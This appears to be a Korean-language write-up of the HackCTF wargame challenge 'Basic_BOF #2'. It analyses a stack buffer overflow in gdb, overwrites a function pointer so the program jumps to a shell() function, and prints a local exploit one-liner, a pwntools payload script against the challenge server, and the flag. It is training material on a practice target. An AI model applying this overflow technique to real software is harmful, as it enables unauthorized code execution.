Home
System Hacking
🔧

Basic_BOF #2 Writeup

Type
Wargame
년도
NOP
Name
HackCTF
분야
System
세부분야
BOF
2022/01/10 15:28
점수
100점대
1 more property

풀이 사전 지식

+ Buffer Over Flow
Variable Overwrite

# Problem

# Binanry

# Analysis

# Setting

Download

# Static Analysis

아래의 명령어를 입력해 gdb로 bof_basic를 열어줍니다.
gdb -q ./bof_basic2
Bash
복사

# disas main

아래의 명령어를 입력할 경우 main을 확인할 수 있습니다.
disas main
Bash
복사
assembly main
위 어셈블리어에서 의미가 있는 부분의 분석을 진행하도록 하겠습니다.
일단 우리가 봐야할 시점인 main+20부터 분석을 진행 해보도록 하겠습니다.
main+20 : DWORD PTR [ebp-0xc],0x80484b4
ebp-0xc의 위치에 0x80484b4을 저장합니다.
나중에 ebp-0xc위치에 담겨있는 값을 Call 하며 해당 값을 덮을 경우 취약점이 발생하게 됩니다.
main+35~48 : push eax, push 0x85, lea eax, [ebp-0x8c], push eax, call 0x8048380 <fgets@plt>
일단 먼저 fgets의 인자를 보게된다면 아래와 같습니다.
#include <stdio.h> char *fgets (char *string, int n, FILE *stream);
C
복사
다시말해 0x85개 만큼을 ebp-0x8c 위치에 있는 변수에 저장하는 것을 확인할 수 있습니다.
main+56~59 : mov eax,DWORD PTR [ebp-0xc], call eax
ebp-0xc에 담겨있는 주소를 Call 하게 됩니다.
해당 부분에서 취약점이 발생할 것이라고 예상할 수 있습니다.
ebp-0xc를 덮어쓰기된다면 프로그램 Logic 특성상 Return Address Overwrite를 성공한 것과 동일하다고 볼 수 있습니다.

# info functions

위 과정에서 사용할 function이 존재하는지 확인하기 위해 gdb을 통해서 Binanry에 존재하는 함수들을 찾아보겠습니다.
info functions
Plain Text
복사
여러 함수들이 존재하지만 그 중 shell 이라는 함수 이름이 매우 눈에 뛰며 해당 shell function 분석을 진행하도록 하겠습니다.

# disas shell

아래의 명령어를 입력하여 shell function의 내부를 확인하겠습니다.
disas shell
Plain Text
복사
assembly shell
main+9~14 : push 0x80485a0, call 0x8048370 <system@plt>
0x80485a0 위치의 문자을을 system 함수로 실행합니다.
예상대로 0x80485a0shell을 담고있습니다.

# Attack Vector

## Vulnerable Function

# eax call

main+59에서 eax에 담긴 주소를 call 하며 eax의 값은 ebp-0xc에서 받아오게 됩니다.
fgets0x85개의 입력을 받을수있습니다.
하지만 input check miss를 통해서 ebp-0x8c의 변수크기인 0x80보다 0x5더 많이 입력을 받을수 있으며 이는 ebp-0xc까지 사용자의 입력 값을 overwrite 할 수 있습니다.
정리하자면 0x80 만큼 dumy를 넣어준 뒤 shell function의 주소인 0x0804849b를 입력해준다면 eax0x0804849b가 담기고 call eax를 통해 shell이 실행될 것 입니다.

# Exploit

# Local

(python -c 'print "A"*0x80+"\x9b\x84\x04\x08"';cat) | ./bof_basic2
Bash
복사

# Payload

#! /bin/python3 from pwn import * p = remote("ctf.j0n9hyun.xyz", 3001) payload = b'A'*(0x80) payload += p64(0x0804849b) #'\x9b\x84\x04\x08' p.send(payload) p.interactive()
Python
복사

# Flag

HackCTF{h3y_dud3_600d_f0r_y0u}
Plain Text
복사

# Reference